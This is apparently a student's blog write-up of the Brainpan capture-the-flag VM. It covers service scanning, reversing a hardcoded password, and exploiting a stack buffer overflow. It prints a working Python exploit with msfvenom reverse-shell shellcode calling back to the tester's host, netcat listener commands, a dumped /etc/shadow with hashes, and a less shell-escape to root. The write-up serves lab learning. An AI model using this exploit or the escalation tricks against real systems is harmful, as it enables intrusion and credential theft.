πŸ“… This article precedes the reboot and might be outdated.

Lately I’ve been doing a lot of penetration testing for one of my master degree classes. This writeup will walk you through the capture the flag challenge Brainpan.

# Table of Contents

# Service discovery

⚠️ Some words of recommendation here. Think very carefully before letting a vulnerable VM on your network.

After finding the host address (192.168.150.128 in this case), we scan its services.

Β» nmap -sSV -A -T4 192.168.150.128 -p -

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2015-11-13 23:22 GMT
Interesting ports on 192.168.150.128:
Not shown: 65533 closed ports
PORT      STATE SERVICE           VERSION
9999/tcp  open  abyss?
10000/tcp open  snet-sensor-mgmt?

[snip]

Nmap finished: 1 IP address (1 host up) scanned in 92.499 seconds

We see two unrecognized services, that we investigate further through netcat (or one of its siblings).

Behind port 10000 we find a web server:

Β» ncat 192.168.150.128 10000
r
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('r').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>

index.html doesn’t contain anything interesting. Let’s see if dirb can find anything else.

Β» dirb http://192.168.150.128:10000

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Nov 13 23:15:44 2015
URL_BASE: http://192.168.150.128:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.150.128:8080/ ----
+ http://192.168.150.128:8080/bin (CODE:301|SIZE:0)
+ http://192.168.150.128:8080/index.html (CODE:200|SIZE:215)

-----------------
END_TIME: Fri Nov 13 23:36:39 2015
DOWNLOADED: 4612 - FOUND: 2

The bin folder contains a brainpan.exe file.

# Brainpan access console

Port 9999 hosts a console access prompt.

Β» ncat 192.168.150.128 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >> %p
                          ACCESS DENIED

First I tried a few string format vulnerabilities, but they didn’t work. Then, I passed really long strings to the prompt. A string 500 characters long was fine, but length 550 crashed the program. We can use binary search to find the tipping point: 518 characters.

Now we can analyze the brainpan.exe file downloaded earlier.

My favorite tool for the job (although I’m still learning its perks) is radare2.

Β» r2 brainpan.exe
 -- Rename a function using the 'afr <newname> @ <offset>' command.
[0x31171280]> aaa
[0x31171280]> i
type     EXEC (Executable file)
file     brainpan.exe
fd       6
size     0x52c6
blksz    0x0
mode     r--
block    0x100
format   pe
pic      false
canary   false
nx       false
crypto   false
va       true
bintype  pe
class    PE32
arch     x86
bits     32
machine  i386
os       windows
subsys   Windows CUI
endian   little
stripped false
static   false
linenum  true
lsyms    false
relocs   true
binsz    21190
compiled Mon Mar  4 15:21:12 2013

It’s a Windows 32 bit executable; its stack is executable (nx is false). What about its strings?

[0x31171280]> iz
vaddr=0x31173000 paddr=0x00001400 ordinal=000 sz=22 len=21 section=.rdata type=a string=[get_reply] s = [%s]\n
vaddr=0x31173018 paddr=0x00001418 ordinal=001 sz=39 len=38 section=.rdata type=a string=[get_reply] copied %d bytes to buffer\n
vaddr=0x3117303f paddr=0x0000143f ordinal=002 sz=11 len=10 section=.rdata type=a string=shitstorm\n
vaddr=0x3117304c paddr=0x0000144c ordinal=003 sz=665 len=664 section=.rdata type=a string=
vaddr=0x311732e8 paddr=0x000016e8 ordinal=004 sz=41 len=40 section=.rdata type=a string=                          ACCESS DENIED\n
vaddr=0x31173314 paddr=0x00001714 ordinal=005 sz=42 len=41 section=.rdata type=a string=                          ACCESS GRANTED\n
vaddr=0x3117333e paddr=0x0000173e ordinal=006 sz=28 len=27 section=.rdata type=a string=[+] initializing winsock...
vaddr=0x3117335a paddr=0x0000175a ordinal=007 sz=28 len=27 section=.rdata type=a string=[!] winsock init failed: %d
vaddr=0x31173376 paddr=0x00001776 ordinal=008 sz=7 len=6 section=.rdata type=a string=done.\n
vaddr=0x31173380 paddr=0x00001780 ordinal=009 sz=32 len=31 section=.rdata type=a string=[!] could not create socket: %d
vaddr=0x311733a0 paddr=0x000017a0 ordinal=010 sz=28 len=27 section=.rdata type=a string=[+] server socket created.\n
vaddr=0x311733bc paddr=0x000017bc ordinal=011 sz=20 len=19 section=.rdata type=a string=[!] bind failed: %d
vaddr=0x311733d0 paddr=0x000017d0 ordinal=012 sz=26 len=25 section=.rdata type=a string=[+] bind done on port %d\n
vaddr=0x311733ea paddr=0x000017ea ordinal=013 sz=30 len=29 section=.rdata type=a string=[+] waiting for connections.\n
vaddr=0x31173408 paddr=0x00001808 ordinal=014 sz=26 len=25 section=.rdata type=a string=[+] received connection.\n
vaddr=0x31173422 paddr=0x00001822 ordinal=015 sz=17 len=16 section=.rdata type=a string=[+] check is %d\n
vaddr=0x31173433 paddr=0x00001833 ordinal=016 sz=22 len=21 section=.rdata type=a string=[!] accept failed: %d
vaddr=0x31173449 paddr=0x00001849 ordinal=017 sz=18 len=17 section=.rdata type=a string=[+] cleaning up.\n
vaddr=0x31173460 paddr=0x00001860 ordinal=018 sz=34 len=33 section=.rdata type=a string=-LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32
vaddr=0x31173484 paddr=0x00001884 ordinal=019 sz=45 len=44 section=.rdata type=a string=w32_sharedptr->size == sizeof(W32_EH_SHARED)
vaddr=0x311734b4 paddr=0x000018b4 ordinal=020 sz=49 len=48 section=.rdata type=a string=../../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
vaddr=0x311734e8 paddr=0x000018e8 ordinal=021 sz=39 len=38 section=.rdata type=a string=GetAtomNameA (atom, s, sizeof(s)) != 0

[0x31171280]> afl
0x31171280  76  1  entry0
0x31171150  303  8  sym.___mingw_CRTStartup
0x311712cc  16  1  sub.msvcrt.dll__onexit_2cc
0x311712e0  2493  19  sym.___do_sjlj_init
0x31171d10  6  1  sym._malloc
0x31171d18  6  1  sym._abort
0x31171d20  6  1  sym._ExitProcess_4
0x31171d28  6  1  sym._SetUnhandledExceptionFilter_4
0x31171d30  6  1  sub.KERNEL32.dll_GetAtomNameA_d30
0x31171d38  6  1  sub.KERNEL32.dll_FindAtomA_d38
0x31171d40  6  1  sub.KERNEL32.dll_AddAtomA_d40
0x31171d48  17  1  fcn.31171d48
0x31171cd8  6  1  sym._memset
0x31171ce0  6  1  sym._strcmp
0x31171ce8  6  1  sym._strlen
0x31171cf0  6  1  sym._strcpy
0x31171cf8  6  1  sym._printf
0x31171d00  6  1  sym.__assert
0x31171d08  6  1  sym._free
0x31171ca0  6  1  sub.msvcrt.dll___set_app_type_ca0
0x31171ca8  6  1  sym.__cexit
0x31171cb0  6  1  sym.___p__environ
0x31171cb8  6  1  sym._signal
0x31171cc0  6  1  sym.___p__fmode
0x31171cc8  6  1  sym.__setmode
0x31171cd0  6  1  sym.___getmainargs
0x31171000  323  26  section..text
0x31171143  316  8  fcn.31171143
0x000050f8  551  67  fcn.000050f8

We start the disassembling process from sym.___mingw_CRTStartup and find the β€œreal” main is at symbol sym._main.

[0x31171280]> pdf @ sym._main
Do you want to print 745 lines? (y/N)
# I'll only show the interesting parts.
# Read the client's password.
β”‚  β”‚  β”‚ β”‚   0x311715d5    e836010000     sym._recv_16 ()               ;sym.___do_sjlj_init() ; sym._recv_16
β”‚  β”‚  β”‚ β”‚   0x311715da    83ec10         esp -= 0x10
β”‚  β”‚  β”‚ β”‚   0x311715dd    8d8508fcffff   eax = [ebp - 0x3f8]
β”‚  β”‚  β”‚ β”‚   0x311715e3    890424         dword [esp] = eax
β”‚  β”‚  β”‚ β”‚   0x311715e6    e811fdffff     sym._get_reply ()             ;sym.___do_sjlj_init() ; sym._get_reply
# And compare it against "shitstorm", bingo!
β”‚       β”‚   ;-- sym._get_reply:
β”‚       β”‚   0x311712fc    55             push ebp
β”‚       β”‚   0x311712fd    89e5           ebp = esp
β”‚       β”‚   0x311712ff    81ec18020000   esp -= 0x218
β”‚       β”‚   0x31171305    8b4508         eax = dword [ebp + 8]          ; [0x8:4]=4
β”‚       β”‚   0x31171308    89442404       dword [esp + 4] = eax          ; [0x4:4]=3
β”‚       β”‚   0x3117130c    c70424003017.  dword [esp] = str._get_reply__s_____s__n  ; [0x31173000:4]=0x7465675b  ; "[get_reply] s = [%s]." @ 0x31173000
β”‚       β”‚   0x31171313    e8e0090000     sym._printf () ;sym._printf()
β”‚       β”‚   0x31171318    8b4508         eax = dword [ebp + 8]          ; [0x8:4]=4
β”‚       β”‚   0x3117131b    89442404       dword [esp + 4] = eax          ; [0x4:4]=3
β”‚       β”‚   0x3117131f    8d85f8fdffff   eax = [ebp - 0x208]
β”‚       β”‚   0x31171325    890424         dword [esp] = eax
β”‚       β”‚   0x31171328    e8c3090000     sym._strcpy () ;sym._strcpy()
β”‚       β”‚   0x3117132d    8d85f8fdffff   eax = [ebp - 0x208]
β”‚       β”‚   0x31171333    890424         dword [esp] = eax
β”‚       β”‚   0x31171336    e8ad090000     sym._strlen () ;sym._strlen()
β”‚       β”‚   0x3117133b    89442404       dword [esp + 4] = eax          ; [0x4:4]=3
β”‚       β”‚   0x3117133f    c70424183017.  dword [esp] = str._get_reply__copied__d_bytes_to_buffer_n  ; [0x31173018:4]=0x7465675b  ; "[get_reply] copied %d bytes to buffer." @ 0x31173018
β”‚       β”‚   0x31171346    e8ad090000     sym._printf () ;sym._printf()
β”‚       β”‚   0x3117134b    8d85f8fdffff   eax = [ebp - 0x208]
β”‚       β”‚   0x31171351    c74424043f30.  dword [esp + 4] = str.shitstorm_n  ; [0x3117303f:4]=0x74696873  ; "shitstorm." @ 0x3117303f
β”‚       β”‚   0x31171359    890424         dword [esp] = eax
β”‚       β”‚   0x3117135c    e87f090000     sym._strcmp () ;sym._strcmp()
β”‚       β”‚   0x31171361    c9
β”‚       β”‚   0x31171362    c3

I should have tried β€œshitstorm” in the first place, after noticing it in the strings section. Anyway:

Β» nc 192.168.150.128 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >> shitstorm
                          ACCESS GRANTED

Access granted! What now? The server closes the connection once access is granted, so nothing else here.

# A buffer overflow

After running the Windows executable in a Windows XP virtual machine I tried a few things. First, I knew that the console would crash by providing a reasonably large input string.

So I started debugging the executable by using a mix of radare2 and ollydbg; they both are awesome tools, by the way. All the premises smelled of a buffer overflow attack. I never performed such an attack so I started from the basics, reading and studying online. The first 5 levels of the SmashTheStack IO were of great help too.

While performing the attack I followed this guide, perfect for the job. I encourage you to read it over to follow along.

First we check whether we can overwrite both the EIP and ESP registers. In particular, overwriting those registers and having access to a JMP ESP instruction would let us create a reliable attack and execute arbitrary payloads. The author of the challenge left us what we need inside an unreachable function, _winkwink:

β”‚       β”‚   ;-- sym._winkwink:
β”‚       β”‚   0x311712f0    55             push ebp
β”‚       β”‚   0x311712f1    89e5           ebp = esp
β”‚       β”‚   0x311712f3    ffe4           goto esp <<- Eureka!
β”‚       β”‚   0x311712f5    ffe1           goto ecx
β”‚       β”‚   0x311712f7    5b             pop ebx
β”‚       β”‚   0x311712f8    5b             pop ebx
β”‚       β”‚   0x311712f9    c3
β”‚       β”‚   0x311712fa    5d             pop ebp
β”‚       β”‚   0x311712fb    c3

I then used two of the Metasploit framework tools (./exploit/pattern_create.rb and ./exploit/pattern_offset.rb) to generate a distinguishable pattern and find the offsets at which the registers were being overwritten. Finally, I used msfvenom to generate an appropriate shellcode, containing the instructions needed to bind a reverse shell to my host.

I was able to craft a small Python script in order to reliably generate the payload and avoid accidental errors.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

BEFORE_EIP = 524
BEFORE_ESP = 528 # Actually, this is unused because the GAP is filled with the EIP address.

EIP_REVERSED_ADDRESS = b"\xf3\x12\x17\x31" # From the winkwink function, to replace EIP

#  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.150.126 LPORT=9090 -f python -b "\x00" -a x86 --platform Windows
SHELL_CODE = b"\xdb\xc2\xd9\x74\x24\xf4\xba\xb4\x35\xd8\xf4\x5e\x29"
SHELL_CODE += b"\xc9\xb1\x52\x31\x56\x17\x83\xee\xfc\x03\xe2\x26\x3a"
SHELL_CODE += b"\x01\xf6\xa1\x38\xea\x06\x32\x5d\x62\xe3\x03\x5d\x10"
SHELL_CODE += b"\x60\x33\x6d\x52\x24\xb8\x06\x36\xdc\x4b\x6a\x9f\xd3"
SHELL_CODE += b"\xfc\xc1\xf9\xda\xfd\x7a\x39\x7d\x7e\x81\x6e\x5d\xbf"
SHELL_CODE += b"\x4a\x63\x9c\xf8\xb7\x8e\xcc\x51\xb3\x3d\xe0\xd6\x89"
SHELL_CODE += b"\xfd\x8b\xa5\x1c\x86\x68\x7d\x1e\xa7\x3f\xf5\x79\x67"
SHELL_CODE += b"\xbe\xda\xf1\x2e\xd8\x3f\x3f\xf8\x53\x8b\xcb\xfb\xb5"
SHELL_CODE += b"\xc5\x34\x57\xf8\xe9\xc6\xa9\x3d\xcd\x38\xdc\x37\x2d"
SHELL_CODE += b"\xc4\xe7\x8c\x4f\x12\x6d\x16\xf7\xd1\xd5\xf2\x09\x35"
SHELL_CODE += b"\x83\x71\x05\xf2\xc7\xdd\x0a\x05\x0b\x56\x36\x8e\xaa"
SHELL_CODE += b"\xb8\xbe\xd4\x88\x1c\x9a\x8f\xb1\x05\x46\x61\xcd\x55"
SHELL_CODE += b"\x29\xde\x6b\x1e\xc4\x0b\x06\x7d\x81\xf8\x2b\x7d\x51"
SHELL_CODE += b"\x97\x3c\x0e\x63\x38\x97\x98\xcf\xb1\x31\x5f\x2f\xe8"
SHELL_CODE += b"\x86\xcf\xce\x13\xf7\xc6\x14\x47\xa7\x70\xbc\xe8\x2c"
SHELL_CODE += b"\x80\x41\x3d\xe2\xd0\xed\xee\x43\x80\x4d\x5f\x2c\xca"
SHELL_CODE += b"\x41\x80\x4c\xf5\x8b\xa9\xe7\x0c\x5c\x16\x5f\x98\xe2"
SHELL_CODE += b"\xfe\xa2\xa4\x39\x7d\x2b\x42\x57\x91\x7a\xdd\xc0\x08"
SHELL_CODE += b"\x27\x95\x71\xd4\xfd\xd0\xb2\x5e\xf2\x25\x7c\x97\x7f"
SHELL_CODE += b"\x35\xe9\x57\xca\x67\xbc\x68\xe0\x0f\x22\xfa\x6f\xcf"
SHELL_CODE += b"\x2d\xe7\x27\x98\x7a\xd9\x31\x4c\x97\x40\xe8\x72\x6a"
SHELL_CODE += b"\x14\xd3\x36\xb1\xe5\xda\xb7\x34\x51\xf9\xa7\x80\x5a"
SHELL_CODE += b"\x45\x93\x5c\x0d\x13\x4d\x1b\xe7\xd5\x27\xf5\x54\xbc"
SHELL_CODE += b"\xaf\x80\x96\x7f\xa9\x8c\xf2\x09\x55\x3c\xab\x4f\x6a"
SHELL_CODE += b"\xf1\x3b\x58\x13\xef\xdb\xa7\xce\xab\xec\xed\x52\x9d"
SHELL_CODE += b"\x64\xa8\x07\x9f\xe8\x4b\xf2\xdc\x14\xc8\xf6\x9c\xe2"
SHELL_CODE += b"\xd0\x73\x98\xaf\x56\x68\xd0\xa0\x32\x8e\x47\xc0\x16"

payload = b"A" * BEFORE_EIP
payload += EIP_REVERSED_ADDRESS
payload += b"\x90" * 16
payload += SHELL_CODE

with open("payload", "wb") as payload_f:
    payload_f.write(payload)
    payload_f.flush()

I logged into the machine and, from another console, I started a netcat listener. Then, I sent the payload to the console.

Β» ncat 192.168.150.128 9999 < payload

# And on another console...
Β» ncat -nvlp 9090
Connection from 192.168.150.128 port 9090 [tcp/*] accepted
CMD Version 1.4.1

Z:\home\puck>

Why, this is a bit strange. It’s a Linux machine running an emulated Windows executable through WINE. I was getting a DOS terminal inside a Linux box!

Anyway, getting a β€œreal” shell was easy. After moving to the /bin directory I could execute files in that folder as if they were in the path. I executed bash and I launched a Python reverse shell (again) toward my machine, getting a full tty-equipped shell.

# Privilege escalation

I started with the privilege escalation tricks I know. Specifically, sudo -l:

$ sudo -l
sudo -l
$ Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

So we are able to execute that file as superuser. Interesting.

$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

After a few tries something hit my mind. The manual command was obviously displaying the manual piping it through less, with root privileges. I dug through the less manual and discovered that I could navigate through any file I wanted with the :e FILE command. As a result, I displayed the content of the /etc/shadow file.

root:$6$m20VT7lw$172.XYFP3mb9Fbp/IgxPQJJKDgdOhg34jZD5sxVMIx3dKq.DBwv.mw3HgCmRd0QcN4TCzaUtmx4C5DvZaDioh0:15768:0:99999:7:::
daemon:*:15768:0:99999:7:::
bin:*:15768:0:99999:7:::
sys:*:15768:0:99999:7:::
lp:*:15768:0:99999:7:::
mail:*:15768:0:99999:7:::
news:*:15768:0:99999:7:::
uucp:*:15768:0:99999:7:::
proxy:*:15768:0:99999:7:::
www-data:*:15768:0:99999:7:::
backup:*:15768:0:99999:7:::
list:*:15768:0:99999:7:::
irc:*:15768:0:99999:7:::
gnats:*:15768:0:99999:7:::
nobody:*:15768:0:99999:7:::
libuuid:!:15768:0:99999:7:::
syslog:*:15768:0:99999:7:::
messagebus:*:15768:0:99999:7:::
reynard:$6$h54J.qxd$yL5md3J4dONwNl.36iA.mkcabQqRMmeZ0VFKxIVpXeNpfK.mvmYpYsx8W0Xq02zH8bqo2K.mkQzz55U2H5kUh1:15768:0:99999:7:::
anansi:$6$hblZftkV$vmZoctRs1nmcdQCk5gjlmcLUb18xvJa3efaU6cpw9hoOXC/kHupYqQ2qz5O.ekVE.SwMfvRnf.QcB1lyDGIPE1:15768:0:99999:7:::
puck:$6$A/mZxJX0$Zmgb3T6SAq.FxO1gEmbIcBF9Oi7q2eAi0TMMqOhg0pjdgDjBr0p2NBpIRqs4OIEZB4op6ueK888lhO7gc.27g1:15768:0:99999:7:::

The challenge was to get this file and to ignore the flag. But, at this point, we could have just dropped a shell through less (! /bin/bash) and gained root.